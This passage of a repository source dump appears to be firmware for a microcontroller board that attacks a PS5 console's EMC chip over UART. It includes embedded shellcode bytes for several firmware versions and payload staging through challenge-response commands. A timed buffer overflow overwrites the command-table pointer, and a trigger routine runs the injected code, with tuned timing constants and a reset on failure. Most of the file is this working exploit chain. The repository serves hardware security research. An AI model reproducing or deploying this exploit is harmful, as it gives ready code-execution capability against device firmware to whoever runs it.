std::memcpy(&buf[0], ®, sizeof(reg)); 98 | std::memcpy(&buf[sizeof(reg)], &val, sizeof(val)); 99 | return write(addr, buf, sizeof(buf)); 100 | } 101 | void dump_regs8(u8 addr) { 102 | u8 regs[0x100]{}; 103 | for (size_t i = 0; i < 0x100; i++) { 104 | if (!reg_read(addr, i, ®s[i])) { 105 | printf("failed to read8 i2c %02x:%02x", addr, i); 106 | } 107 | } 108 | printf("i2c addr: %02x\n", addr); 109 | hexdump(regs, sizeof(regs)); 110 | } 111 | static constexpr uint timeout_per_char_us_{200}; 112 | i2c_inst_t* inst_{}; 113 | }; 114 | -------------------------------------------------------------------------------- /uart/notes/emc_header_dupe_near_wifi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/symbrkrs/ps5-uart/d9085ac2f6a59b937c81bd14a85f09472f6bf788/uart/notes/emc_header_dupe_near_wifi.jpg -------------------------------------------------------------------------------- /uart/notes/success.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/symbrkrs/ps5-uart/d9085ac2f6a59b937c81bd14a85f09472f6bf788/uart/notes/success.png -------------------------------------------------------------------------------- /uart/notes/update_timestamps.txt: -------------------------------------------------------------------------------- 1 | utg 2 | # n: 0 v: 0 3 | # n: 1 v: 0 4 | # n: 2 v: 0 5 | # n: 3 v: 0 6 | # n: 4 v: 23 emc_pg2on_end 7 | # n: 5 v: 33 efc boot start 8 | # n: 6 v: 127 efc boot end 9 | # n: 7 v: 250 efc init end 10 | # n: 8 v: 654 fc_load_psp_bl 11 | # n: 9 v: 658 fc_load_idstorage 12 | # n: 10 v: 0 13 | # n: 11 v: 813 emc_soc_on end 14 | # n: 12 v: 0 15 | # n: 13 v: 818 psp start 16 | # n: 14 v: 1348 abl start 17 | # n: 15 v: 0 abl2 18 | # n: 16 v: 0 abl3 19 | # n: 17 v: 0 abl4 20 | # n: 18 v: 2167 21 | # n: 19 v: 2342 psp end 22 | # n: 20 v: 2352 23 | # n: 21 v: 0 24 | # n: 22 v: 0 25 | # n: 23 v: 0 26 | # n: 24 v: 2600 27 | # n: 25 v: 0 28 | # n: 26 v: 0 29 | # n: 27 v: 2693 bios end 30 | # n: 28 v: 4111 31 | # n: 29 v: 0 32 | # n: 30 v: 0 33 | # n: 31 v: 0 34 | # n: 32 v: 0 35 | # n: 33 v: 0 36 | # n: 34 v: 0 37 | # n: 35 v: 4654 kernel end 38 | # n: 36 v: 5407 launch_avcontrol end 39 | # n: 37 v: 5590 enable_ioc end 40 | # n: 38 v: 0 41 | # n: 39 v: 0 42 | # n: 40 v: 0 43 | # n: 41 v: 0 44 | # n: 42 v: 0 45 | # n: 43 v: 7184 syscore end 46 | # n: 44 v: 7350 47 | # n: 45 v: 7822 48 | # n: 46 v: 0 49 | # n: 47 v: 7974 50 | # n: 48 v: 7983 51 | # n: 49 v: 8273 52 | # n: 50 v: 8484 53 | # n: 51 v: 0 54 | # n: 52 v: 0 55 | # n: 53 v: 0 56 | # n: 54 v: 0 57 | # n: 55 v: 0 58 | # n: 56 v: 0 59 | # n: 57 v: 0 60 | # n: 58 v: 0 61 | # n: 59 v: 0 62 | # n: 60 v: 0 63 | # n: 61 v: 0 64 | # n: 62 v: 0 65 | # n: 63 v: 0 66 | # n: 64 v: 0 67 | # n: 65 v: 0 68 | # n: 66 v: 0 69 | # n: 67 v: 0 70 | # n: 68 v: 0 71 | # n: 69 v: 0 72 | # n: 70 v: 0 73 | # n: 71 v: 0 74 | # n: 72 v: 0 75 | # n: 73 v: 0 76 | # n: 74 v: 0 77 | # n: 75 v: 0 78 | # n: 76 v: 0 79 | # n: 77 v: 0 80 | # n: 78 v: 0 81 | # n: 79 v: 0 82 | # n: 80 v: 0 83 | # n: 81 v: 0 84 | # n: 82 v: 0 85 | # n: 83 v: 19327 86 | # n: 84 v: 0 87 | # n: 85 v: 0 88 | # n: 86 v: 0 89 | # n: 87 v: 0 90 | # n: 88 v: 19329 91 | # n: 89 v: 0 92 | # n: 90 v: 0 93 | # n: 91 v: 19904 94 | # n: 92 v: 0 95 | # n: 93 v: 0 96 | # n: 94 v: 0 97 | # n: 95 v: 0 98 | # n: 96 v: 0 99 | # n: 97 v: 0 100 | # n: 98 v: 0 101 | # n: 99 v: 0 102 | # n: 100 v: 0 103 | # n: 101 v: 0 104 | # n: 102 v: 0 105 | # n: 103 v: 0 106 | # n: 104 v: 0 107 | # n: 105 v: 0 108 | # n: 106 v: 0 109 | # n: 107 v: 0 110 | # n: 108 v: 0 111 | # n: 109 v: 0 112 | # n: 110 v: 0 113 | # n: 111 v: 0 114 | # n: 112 v: 0 115 | # n: 113 v: 0 116 | # n: 114 v: 0 117 | # n: 115 v: 0 118 | # n: 116 v: 0 119 | # n: 117 v: 0 120 | # n: 118 v: 0 121 | # n: 119 v: 0 122 | # n: 120 v: 0 123 | # n: 121 v: 0 124 | # n: 122 v: 0 125 | # n: 123 v: 0 126 | # n: 124 v: 0 127 | # n: 125 v: 0 128 | # n: 126 v: 0 129 | # n: 127 v: 0 -------------------------------------------------------------------------------- /uart/ps5_uart.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #ifdef ENABLE_DEBUG_STDIO 17 | #include 18 | #endif 19 | #include 20 | 21 | #include "button.h" 22 | #include "string_utils.h" 23 | #include "types.h" 24 | #include "uart.h" 25 | 26 | u8 checksum(std::string_view buf) { 27 | u8 csum = 0; 28 | for (const auto& b : buf) { 29 | csum += b; 30 | } 31 | return csum; 32 | } 33 | 34 | bool validate_line(std::string* line) { 35 | if (line->empty()) { 36 | return false; 37 | } 38 | strip_trailing_crlf(line); 39 | auto last_colon = line->find_last_of(':'); 40 | if (last_colon == line->npos || last_colon + 3 != line->size()) { 41 | return false; 42 | } 43 | std::vector csum; 44 | auto view = std::string_view(*line); 45 | if (!hex2buf(view.substr(last_colon + 1), &csum)) { 46 | return false; 47 | } 48 | if (csum[0] != checksum(view.substr(0, last_colon))) { 49 | return false; 50 | } 51 | line->resize(last_colon); 52 | return true; 53 | } 54 | 55 | enum StatusCode : u32 { 56 | kSuccess = 0, 57 | kRxInputTooLong = 0xE0000002, 58 | kRxInvalidChar = 0xE0000003, 59 | kRxInvalidCsum = 0xE0000004, 60 | kUcmdEINVAL = 0xF0000001, 61 | kUcmdUnknownCmd = 0xF0000006, 62 | // SyntheticError (our own codes) 63 | kEmcInReset = 0xdead0000, 64 | kFwConstsVersionFailed, 65 | kFwConstsVersionUnknown, 66 | kFwConstsInvalid, 67 | kSetPayloadTooLarge, 68 | kSetPayloadPuareq1Failed, 69 | kSetPayloadPuareq2Failed, 70 | kExploitVersionUnexpected, 71 | kExploitFailedEmcReset, 72 | kChipConstsInvalid, 73 | // For rom frames 74 | kRomFrame, 75 | }; 76 | 77 | struct FwConstants { 78 | u32 ucmd_ua_buf_addr{}; 79 | std::vector shellcode; 80 | }; 81 | 82 | static std::map fw_constants_map{ 83 | // 1.0.4 E r5072 84 | {"E1E 0001 0000 0004 13D0", 85 | {0x1762e8, 86 | {0x00, 0xb5, 0x47, 0xf2, 0x00, 0x60, 0xc0, 0xf2, 0x15, 0x00, 0x43, 87 | 0xf6, 0xe0, 0x71, 0xc0, 0xf2, 0x17, 0x01, 0x08, 0x60, 0x01, 0x20, 88 | 0x45, 0xf2, 0x24, 0x71, 0xc0, 0xf2, 0x17, 0x01, 0x08, 0x60, 0x40, 89 | 0xf6, 0x95, 0x71, 0xc0, 0xf2, 0x12, 0x01, 0x88, 0x47, 0x00, 0xbd}}}, 90 | {"E1E 0001 0002 0003 1580", 91 | {0x17de38, 92 | {0x00, 0xb5, 0x4a, 0xf2, 0x30, 0x30, 0xc0, 0xf2, 0x15, 0x00, 0x4a, 93 | 0xf2, 0xec, 0x61, 0xc0, 0xf2, 0x17, 0x01, 0x08, 0x60, 0x01, 0x20, 94 | 0x4d, 0xf2, 0x40, 0x21, 0xc0, 0xf2, 0x17, 0x01, 0x08, 0x60, 0x42, 95 | 0xf6, 0x31, 0x01, 0xc0, 0xf2, 0x12, 0x01, 0x88, 0x47, 0x00, 0xbd}}}, 96 | {"E1E 0001 0004 0002 1752", 97 | {0x184d9c, 98 | {0x00, 0xb5, 0x4d, 0xf2, 0x7c, 0x30, 0xc0, 0xf2, 0x15, 0x00, 0x41, 99 | 0xf2, 0xc0, 0x11, 0xc0, 0xf2, 0x18, 0x01, 0x08, 0x60, 0x01, 0x20, 100 | 0x43, 0xf6, 0x14, 0x71, 0xc0, 0xf2, 0x18, 0x01, 0x08, 0x60, 0x44, 101 | 0xf2, 0x09, 0x31, 0xc0, 0xf2, 0x12, 0x01, 0x88, 0x47, 0x00, 0xbd}}}, 102 | {"E1E 0001 0008 0002 1B03", 103 | {0x19261c, 104 | {0x00, 0xb5, 0x45, 0xf6, 0xe8, 0x20, 0xc0, 0xf2, 0x16, 0x00, 0x4e, 105 | 0xf2, 0x90, 0x21, 0xc0, 0xf2, 0x18, 0x01, 0x08, 0x60, 0x01, 0x20, 106 | 0x41, 0xf2, 0x30, 0x71, 0xc0, 0xf2, 0x19, 0x01, 0x08, 0x60, 0x47, 107 | 0xf6, 0xbd, 0x11, 0xc0, 0xf2, 0x12, 0x01, 0x88, 0x47, 0x00, 0xbd}}}, 108 | }; 109 | 110 | struct ScopedIrqDisable { 111 | inline ScopedIrqDisable() { status = save_and_disable_interrupts(); } 112 | inline ~ScopedIrqDisable() { restore_interrupts(status); } 113 | u32 status{}; 114 | }; 115 | 116 | template 117 | struct Buffer { 118 | constexpr size_t len_mask() const { 119 | static_assert(std::popcount(BufferSize) == 1); 120 | return BufferSize - 1; 121 | } 122 | constexpr size_t add(size_t val, size_t addend) const { 123 | return (val + addend) & len_mask(); 124 | } 125 | constexpr size_t read_available() const { 126 | if (wpos >= rpos) { 127 | return wpos - rpos; 128 | } 129 | return BufferSize - rpos + wpos; 130 | } 131 | constexpr bool empty() const { return rpos == wpos; } 132 | bool read_line(std::string* line) { 133 | // aggressively inlining compilers could wind up making this an empty delay 134 | // loop if num_newlines==0 on entry. This barrier prevents that. 135 | std::atomic_signal_fence(std::memory_order_acquire); 136 | // purposefully done before masking irqs as a speed hack 137 | if (!num_newlines || empty()) { 138 | return false; 139 | } 140 | bool got_line = false; 141 | { 142 | ScopedIrqDisable irq_disable; 143 | const auto avail = read_available(); 144 | for (size_t i = 0; i < avail; i++) { 145 | const auto cpos = add(rpos, i); 146 | const auto c = buffer[cpos]; 147 | if (c == '\n') { 148 | num_newlines--; 149 | rpos = add(cpos, 1); 150 | got_line = true; 151 | break; 152 | } 153 | line->push_back(c); 154 | } 155 | } 156 | if (got_line) { 157 | // validate and remove checksum 158 | // NOTE emc can emit invalid lines if its ucmd print func is reentered 159 | // (print called simultaneously via irq or task switch or something). Not 160 | // much can be done except trying not to hit this condition by waiting for 161 | // outputs before sending new cmd. 162 | if (validate_line(line)) { 163 | return true; 164 | } 165 | #ifdef ENABLE_DEBUG_STDIO 166 | // TODO bubble error up to host? 167 | printf("DROP:%s\n", line->c_str()); 168 | #endif 169 | } 170 | // might have modified line, clear it 171 | line->clear(); 172 | return false; 173 | } 174 | bool read_line_timeout(std::string* line, u32 timeout_us) { 175 | const u32 start = time_us_32(); 176 | do { 177 | if (read_line(line)) { 178 | return true; 179 | } 180 | } while (time_us_32() - start < timeout_us); 181 | return false; 182 | } 183 | size_t read_buf(u8* buf, size_t len) { 184 | ScopedIrqDisable irq_disable; 185 | const auto avail = read_available(); 186 | len = std::min(len, avail); 187 | for (size_t i = 0; i < len; i++) { 188 | const auto c = buffer[rpos]; 189 | if (c == '\n') { 190 | num_newlines--; 191 | } 192 | *buf++ = c; 193 | rpos = add(rpos, 1); 194 | } 195 | return len; 196 | } 197 | // called from irq. cannot do allocs, etc. 198 | void push(u8 b) { 199 | const auto wpos_next = add(wpos, 1); 200 | if (wpos_next == rpos) { 201 | // overflow. basically fatal, should show error led or smth then fix bug? 202 | // drop the write here, as otherwise we'd have to fixup num_newlines 203 | } else { 204 | buffer[wpos] = b; 205 | wpos = wpos_next; 206 | } 207 | if (b == '\n') { 208 | num_newlines++; 209 | } 210 | } 211 | void setup_irq(Uart* uart) { uart_ = uart; } 212 | void uart_rx_handler() { 213 | uart_->try_read([&](u8 b) { push(b); }); 214 | } 215 | void clear() { 216 | ScopedIrqDisable irq_disable; 217 | wpos = rpos = num_newlines = {}; 218 | } 219 | Uart* uart_{}; 220 | size_t wpos{}; 221 | size_t rpos{}; 222 | size_t num_newlines{}; 223 | std::array buffer{}; 224 | }; 225 | using Buffer1k = Buffer<1024>; 226 | 227 | struct ActiveLowGpio { 228 | void init(uint gpio) { 229 | gpio_ = gpio; 230 | gpio_init(gpio_); 231 | } 232 | void set_low() const { 233 | gpio_put(gpio_, 0); 234 | gpio_set_dir(gpio_, GPIO_OUT); 235 | } 236 | void release() const { gpio_set_dir(gpio_, GPIO_IN); } 237 | bool sample() const { return gpio_get(gpio_); } 238 | uint gpio_{}; 239 | }; 240 | 241 | struct EmcResetGpio : ActiveLowGpio { 242 | void reset() const { 243 | set_low(); 244 | busy_wait_us(100); 245 | release(); 246 | } 247 | bool is_reset() const { return sample() == false; } 248 | }; 249 | 250 | struct UcmdClientEmc { 251 | bool init() { 252 | uart_rx_.setup_irq(&uart_); 253 | if (!uart_.init(0, 115200, rx_handler)) { 254 | return false; 255 | } 256 | rom_gpio_.init(2); 257 | reset_.init(3); 258 | return true; 259 | } 260 | 261 | void write_str_blocking(std::string_view buf, bool wait_tx = true) { 262 | uart_.write_blocking(reinterpret_cast(buf.data()), buf.size(), 263 | wait_tx); 264 | } 265 | 266 | bool read_line(std::string* line, u32 timeout_us) { 267 | return uart_rx_.read_line_timeout(line, timeout_us); 268 | } 269 | 270 | static void rx_handler() { uart_rx_.uart_rx_handler(); } 271 | 272 | void cdc_write(u8 itf, const std::vector& buf) { 273 | const auto len = buf.size(); 274 | u32 num_written = 0; 275 | while (tud_cdc_n_connected(itf) && num_written < len) { 276 | num_written += tud_cdc_n_write(itf, &buf[num_written], len - num_written); 277 | } 278 | if (!tud_cdc_n_connected(itf)) { 279 | return; 280 | } 281 | tud_cdc_n_write_flush(itf); 282 | } 283 | 284 | // write as many lines from uart rx buffer to usb as possible within 285 | // max_time_us 286 | void cdc_process(u8 itf, u32 max_time_us = 1'000) { 287 | const u32 start = time_us_32(); 288 | do { 289 | if (!in_rom_) { 290 | std::string line; 291 | if (!uart_rx_.read_line(&line)) { 292 | break; 293 | } 294 | dbg_println(std::format("host<{}", line)); 295 | cdc_write(itf, Result::from_str(line).to_usb_response()); 296 | } else { 297 | std::vector buf(0x100); 298 | const auto num_read = uart_rx_.read_buf(buf.data(), buf.size()); 299 | buf.resize(num_read); 300 | if (buf.size()) { 301 | dbg_println(std::format("host<{}", buf2hex(buf))); 302 | cdc_write(itf, Result::new_ok(StatusCode::kRomFrame, buf2hex(buf)) 303 | .to_usb_response()); 304 | } 305 | } 306 | } while (time_us_32() - start < max_time_us); 307 | } 308 | 309 | enum ResultType : u8 { 310 | kTimeout, 311 | kUnknown, 312 | kComment, 313 | kInfo, 314 | kOk, 315 | kNg, 316 | }; 317 | 318 | struct Result { 319 | static Result from_str(std::string_view str) { 320 | // The parsing is a bit ghetto, but works 321 | 322 | // comments are just a string 323 | // e.g. # [PSQ] [BT WAKE Disabled Start] 324 | if (str.size() > 2 && str.starts_with("# ")) { 325 | auto response = std::string(str.substr(2)); 326 | return {.type_ = kComment, 327 | .status_ = kInvalidStatus, 328 | .response_ = response}; 329 | } 330 | // same with info lines... 331 | // e.g. $$ [MANU] PG2 ON 332 | if (str.size() > 3 && str.starts_with("$$ ")) { 333 | auto response = std::string(str.substr(3)); 334 | return { 335 | .type_ = kInfo, .status_ = kInvalidStatus, .response_ = response}; 336 | } 337 | 338 | // OK/NG must have status with optional string 339 | const auto status_offset = 2 + 1; 340 | const auto status_end = status_offset + 8; 341 | if (str.size() < status_end) { 342 | return new_unknown(str); 343 | } 344 | bool is_ok = str.starts_with("OK "); 345 | bool is_ng = str.starts_with("NG "); 346 | if (!is_ok && !is_ng) { 347 | return new_unknown(str); 348 | } 349 | 350 | auto status = int_from_hex(str, status_offset); 351 | if (!status.has_value()) { 352 | return new_unknown(str); 353 | } 354 | 355 | std::string response; 356 | if (str.size() > status_end) { 357 | if (str[status_end] != ' ') { 358 | return new_unknown(str); 359 | } 360 | response = str.substr(status_end + 1); 361 | } 362 | 363 | return {.type_ = is_ok ? kOk : kNg, 364 | .status_ = status.value(), 365 | .response_ = response}; 366 | } 367 | static Result new_timeout() { 368 | return {.type_ = kTimeout, .status_ = kInvalidStatus}; 369 | } 370 | static Result new_unknown(std::string_view str) { 371 | return {.type_ = kUnknown, 372 | .status_ = kInvalidStatus, 373 | .response_ = std::string(str)}; 374 | } 375 | static Result new_ok(u32 status, const std::string& str = "") { 376 | return {.type_ = kOk, .status_ = status, .response_ = str}; 377 | } 378 | static Result new_ng(u32 status, const std::string& str = "") { 379 | return {.type_ = kNg, .status_ = status, .response_ = str}; 380 | } 381 | static Result new_success(const std::string& str = "") { 382 | return new_ok(StatusCode::kSuccess, str); 383 | } 384 | bool is_unknown() const { return type_ == kUnknown; } 385 | bool is_comment() const { return type_ == kComment; } 386 | bool is_info() const { return type_ == kInfo; } 387 | bool is_ok() const { return type_ == kOk; } 388 | bool is_ng() const { return type_ == kNg; } 389 | bool is_ok_or_ng() const { return is_ok() || is_ng(); } 390 | bool is_ok_status(u32 status) const { return is_ok() && status_ == status; } 391 | bool is_ng_status(u32 status) const { return is_ng() && status_ == status; } 392 | bool is_success() const { return is_ok_status(StatusCode::kSuccess); } 393 | std::string format() const { 394 | if (is_ok_or_ng()) { 395 | return std::format("{} {:08X} {}", is_ok() ? "OK" : "NG", status_, 396 | response_); 397 | } else if (is_comment()) { 398 | return std::format("# {}", response_); 399 | } else if (is_info()) { 400 | return std::format("$$ {}", response_); 401 | } else if (is_unknown()) { 402 | return response_; 403 | } else { 404 | return "timeout"; 405 | } 406 | } 407 | std::vector to_usb_response() const { 408 | auto response_len = response_.size(); 409 | if (is_ok_or_ng()) { 410 | response_len += sizeof(status_); 411 | } 412 | 413 | std::vector data(sizeof(type_) + sizeof(response_len) + response_len); 414 | size_t pos = 0; 415 | 416 | std::memcpy(&data[0], &type_, sizeof(type_)); 417 | pos += sizeof(type_); 418 | 419 | std::memcpy(&data[pos], &response_len, sizeof(response_len)); 420 | pos += sizeof(response_len); 421 | 422 | if (is_ok_or_ng()) { 423 | std::memcpy(&data[pos], &status_, sizeof(status_)); 424 | pos += sizeof(status_); 425 | } 426 | 427 | std::memcpy(&data[pos], &response_[0], response_.size()); 428 | return data; 429 | } 430 | 431 | enum { kInvalidStatus = UINT32_MAX }; 432 | ResultType type_{kTimeout}; 433 | u32 status_{kInvalidStatus}; 434 | std::string response_; 435 | }; 436 | 437 | void dbg_println(const std::string& str, bool newline = true) { 438 | #ifdef ENABLE_DEBUG_STDIO 439 | if (newline) { 440 | puts(str.c_str()); 441 | } else { 442 | printf("%s", str.c_str()); 443 | } 444 | #endif 445 | } 446 | 447 | // read lines until one starts with "(OK|NG) ..." 448 | Result read_result(u32 timeout_us) { 449 | std::string line; 450 | while (read_line(&line, timeout_us)) { 451 | auto result = Result::from_str(line); 452 | if (result.is_ok_or_ng()) { 453 | return result; 454 | } 455 | dbg_println(result.format(), false); 456 | } 457 | return Result::new_timeout(); 458 | } 459 | 460 | // reset the rx statemachine 461 | void nak() { 462 | write_str_blocking("\x15"); 463 | busy_wait_ms(10); 464 | } 465 | 466 | // returns false if echo readback failed 467 | bool cmd_send(const std::string& cmdline, bool wait_echo = true) { 468 | // NOTE checksum could be fully disabled via nvs (va: 0xa09 {id:1,offset:9}) 469 | auto cmd = cmdline + std::format(":{:02X}\n", checksum(cmdline)); 470 | write_str_blocking(cmd, wait_echo); 471 | if (!wait_echo) { 472 | return true; 473 | } 474 | // wait for echo 475 | const u32 timeout = cmd.size() * 200; 476 | std::string readback; 477 | while (read_line(&readback, timeout)) { 478 | if (readback == cmdline) { 479 | return true; 480 | } 481 | dbg_println(std::format("discard {}", readback)); 482 | } 483 | return false; 484 | } 485 | 486 | Result cmd_send_recv(const std::string& cmdline, u32 timeout_us = 10'000) { 487 | dbg_println(std::format("> {}", cmdline), false); 488 | if (!cmd_send(cmdline)) { 489 | dbg_println("& chunk) { 508 | // ignore the response (index) 509 | return cmd_send_recv(std::format("puareq2 {:x} {}", index, buf2hex(chunk))) 510 | .is_success(); 511 | } 512 | 513 | Result resolve_constants() { 514 | if (fw_consts_valid_) { 515 | return Result::new_success(); 516 | } 517 | auto result = version(); 518 | if (!result.is_success()) { 519 | return Result::new_ng(StatusCode::kFwConstsVersionFailed, 520 | result.format()); 521 | } 522 | const auto& version_str = result.response_; 523 | auto fw_consts_it = fw_constants_map.find(version_str); 524 | if (fw_consts_it == fw_constants_map.end()) { 525 | return Result::new_ng(StatusCode::kFwConstsVersionUnknown, version_str); 526 | } 527 | fw_consts_ = fw_consts_it->second; 528 | fw_consts_valid_ = true; 529 | return Result::new_success(); 530 | } 531 | 532 | Result set_payload(const std::vector& payload) { 533 | nak(); 534 | // Need to ask for first part of challenge once to enable response 535 | // processing 536 | if (!puareq1(0)) { 537 | return Result::new_ng(StatusCode::kSetPayloadPuareq1Failed); 538 | } 539 | // Place payload. We must fit within 7 chunks of 50 bytes each. 540 | // The total size must be multiple of 50 bytes. Assume caller does this. 541 | const size_t chunk_len = 50; 542 | const size_t payload_len = payload.size(); 543 | for (size_t pos = 0, idx = 0; pos < payload_len; pos += chunk_len, idx++) { 544 | std::vector chunk(&payload[pos], 545 | &payload[std::min(pos + chunk_len, payload_len)]); 546 | if (!puareq2(idx, chunk)) { 547 | return Result::new_ng(StatusCode::kSetPayloadPuareq2Failed); 548 | } 549 | } 550 | return Result::new_success(); 551 | } 552 | 553 | template 554 | constexpr T align_up(T x, size_t align) { 555 | T rem = x % align; 556 | return x + (align - rem); 557 | } 558 | 559 | Result craft_and_set_payload() { 560 | // shove payload into ucmd_ua_buf 561 | // 0x184 byte buffer, we can control up to 350 bytes (must avoid sending 562 | // last chunk) 563 | constexpr size_t payload_max_len = 350; 564 | 565 | struct cmd_entry_t { 566 | u32 name{}; 567 | u32 func{}; 568 | u32 mask{}; 569 | }; 570 | const u32 payload_addr = fw_consts_.ucmd_ua_buf_addr; 571 | struct payload_t { 572 | // must have empty trailing entry 573 | cmd_entry_t entries[2]; 574 | char cmd_name[sizeof(hax_cmd_name_)]{}; 575 | alignas(4) u8 shellcode[0]; 576 | } payload_prefix{ 577 | .entries{{payload_addr + offsetof(payload_t, cmd_name), 578 | (payload_addr + offsetof(payload_t, shellcode)) | 1, 0xf}}}; 579 | strcpy(payload_prefix.cmd_name, hax_cmd_name_); 580 | 581 | const size_t payload_len = 582 | sizeof(payload_prefix) + fw_consts_.shellcode.size(); 583 | if (payload_len > payload_max_len) { 584 | return Result::new_ng(StatusCode::kSetPayloadTooLarge); 585 | } 586 | 587 | std::vector payload; 588 | // size must be multiple of 50 589 | payload.resize(align_up(payload_len, 50)); 590 | std::memcpy(&payload[0], &payload_prefix, sizeof(payload_prefix)); 591 | std::memcpy(&payload[sizeof(payload_prefix)], &fw_consts_.shellcode[0], 592 | fw_consts_.shellcode.size()); 593 | 594 | return set_payload(payload); 595 | } 596 | 597 | Result is_unlocked() { 598 | nak(); 599 | // getserialno will work if shellcode ran 600 | return getserialno(); 601 | } 602 | 603 | void write_oob(const std::array& value) { 604 | // Need emc to start processing the following data fresh 605 | nak(); 606 | 607 | // The exploit relies on sending non-ascii chars to overwrite pointer after 608 | // the recv buffer. Unfortunately, for some fw versions, ucmd_ua_buf_addr 609 | // has an ascii char in it, so the overwrite has to be done twice - once to 610 | // reach the third byte, then again to place the ascii second byte (which is 611 | // ascii and therefor will stop the overwrite). 612 | // The input path is: uart_irq (triggered on any byte / no fifo depth) 613 | // -> 160byte rx ringbuffer -> uart_recv (buggy parser) -> 120byte buffer 614 | // Access to the 160byte ringbuffer is locked, and irq handler holds the 615 | // lock while uart has available bytes. uart_recv takes a byte at a time. 616 | 617 | // pad the rx statemachine to the end 618 | std::string output, output2; 619 | const u32 len = 160 * chip_consts_.filler_multiplier; 620 | const char lut[] = 621 | "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 622 | for (u32 i = 0; i < len; i += 1) { 623 | output.push_back(lut[i % (sizeof(lut) - 1)]); 624 | } 625 | 626 | // overwrite, then reset the statemachine 627 | // actual overwrite will stop on first ascii char (in range [0x20,0x80) ), 628 | // but length is kept the same so timing is uniform. 629 | 630 | // advance cursor to end of buffer 631 | output2.push_back(0xc); 632 | // the data to write off the end 633 | for (auto& b : value) { 634 | output2.push_back(b); 635 | } 636 | // overwrite uart_index here too (to 0) 637 | output2.push_back(0); 638 | // NAK: reset rx statemachine 639 | output2 += "\x15"; 640 | 641 | // TODO should interrupts be disabled? There doesn't seem to be a problem in 642 | // practice. 643 | write_str_blocking(output); 644 | 645 | // The important timer to tweak 646 | busy_wait_us(chip_consts_.pwn_delay_us); 647 | 648 | write_str_blocking(output2); 649 | 650 | // give some time for emc to process 651 | busy_wait_ms(chip_consts_.post_process_ms); 652 | // emc will also spew kRxInputTooLong errors, so need to discard all that 653 | // before continuing. 654 | uart_rx_.clear(); 655 | } 656 | 657 | bool overwrite_cmd_table_ptr() { 658 | const u32 write_val = fw_consts_.ucmd_ua_buf_addr; 659 | std::array target; 660 | for (size_t i = 0; i < target.size(); i++) { 661 | const u8 b = (write_val >> (i * 8)) & 0xff; 662 | // just avoid special chars 663 | if (b == '\b' || b == '\r' || b == '\n' || b == '\x15') { 664 | return false; 665 | } 666 | target[i] = b; 667 | } 668 | for (size_t i = 0; i < target.size(); i++) { 669 | const auto pos = target.size() - i - 1; 670 | const u8 b = target[pos]; 671 | if (b >= 0x20 && b < 0x80) { 672 | // we want to write an ascii char - data after it will be reached. 673 | auto to_send = target; 674 | for (size_t j = 0; j < pos + 1; j++) { 675 | to_send[j] = 0; 676 | } 677 | write_oob(to_send); 678 | } 679 | } 680 | write_oob(target); 681 | return true; 682 | } 683 | 684 | Result exploit_setup() { 685 | // This only needs to be done once (result cached) 686 | auto result = resolve_constants(); 687 | if (!result.is_success()) { 688 | return result; 689 | } 690 | 691 | // Needs to be done once per emc boot 692 | result = craft_and_set_payload(); 693 | if (!result.is_success()) { 694 | return result; 695 | } 696 | 697 | if (!overwrite_cmd_table_ptr()) { 698 | return Result::new_ng(StatusCode::kFwConstsInvalid); 699 | } 700 | return Result::new_success(); 701 | } 702 | 703 | Result exploit_trigger() { 704 | // If cmd table ptr was modified, version will no longer be valid cmd 705 | // NOTE emc could crash here if ptr was incorrectly overwritten 706 | nak(); 707 | auto result = version(); 708 | if (!result.is_ng_status(StatusCode::kUcmdUnknownCmd)) { 709 | return Result::new_ng(StatusCode::kExploitVersionUnexpected, 710 | result.format()); 711 | } 712 | 713 | // trigger shellcode 714 | // the shellcode isn't expected to send a response 715 | // technically should insert respone to ensure it has executed, but in 716 | // practice hasn't been a problem. 717 | cmd_send(hax_cmd_name_); 718 | 719 | return is_unlocked(); 720 | } 721 | 722 | Result autorun() { 723 | if (reset_.is_reset()) { 724 | return Result::new_ng(StatusCode::kEmcInReset); 725 | } 726 | 727 | // something (e.g. powerup) could have put cmd response on the wire already 728 | uart_rx_.clear(); 729 | 730 | // already done? skip 731 | auto result = is_unlocked(); 732 | if (result.is_success()) { 733 | return Result::new_success(); 734 | } 735 | 736 | result = exploit_setup(); 737 | if (result.is_ng()) { 738 | return result; 739 | } 740 | 741 | result = exploit_trigger(); 742 | if (result.is_success()) { 743 | return Result::new_success(); 744 | } 745 | // NOTE crash recovery takes ~13 seconds and console replies: 746 | // "OK 00000000:3A\n$$ [MANU] UART CMD READY:36" afterwards 747 | // It takes about 4.5 seconds from poweron to the same msg. 748 | // Sometimes the crash never recovers (via WDT) and needs manual reset. 749 | // header pins 8,19 go low ~7.5 seconds after failure, then high 750 | // ~750ms later, then msg appears ~3.7seconds later. i2c on pins 21,22 751 | // has activity ~200ms after 8,19 go high 752 | 753 | // Just assume WDT won't work and force a reset ASAP 754 | reset_.reset(); 755 | 756 | // host should wait for success msg (~4.5seconds) 757 | return Result::new_ng(StatusCode::kExploitFailedEmcReset); 758 | } 759 | 760 | struct ChipConsts { 761 | // A bit more explanation of this: 762 | // The idea isn't that the chip processes all of the filler data we're 763 | // sending (we assume it will drop some bytes because it recieves them too 764 | // quickly). But, by sending enough bytes, we can be sure the ucmd rx buffer 765 | // is full, even if the uart ringbuffer in irq handler was dropping bytes. 766 | u32 filler_multiplier{}; 767 | // Could probably just use the maximum required across chip versions here; 768 | // decreasing the time is only in interest of speed. 769 | u32 post_process_ms{}; 770 | // This delay ensures the overflown bytes will make it into both buffers, 771 | // and be processed within the same invocation of the ucmd line buffer 772 | // parser. 773 | u64 pwn_delay_us{}; 774 | }; 775 | static constexpr ChipConsts salina_consts_{.filler_multiplier = 3, 776 | .post_process_ms = 200, 777 | .pwn_delay_us = 790}; 778 | static constexpr ChipConsts salina2_consts_{.filler_multiplier = 6, 779 | .post_process_ms = 800, 780 | .pwn_delay_us = 900}; 781 | 782 | Result set_chip_consts(const std::string& cmd) { 783 | const auto ng = Result::new_ng(StatusCode::kChipConstsInvalid); 784 | const auto success = Result::new_success(); 785 | 786 | const auto parts = split_string(cmd, ' '); 787 | const auto num_parts = parts.size(); 788 | if (num_parts == 2) { 789 | auto chip = parts[1]; 790 | if (chip == "salina") { 791 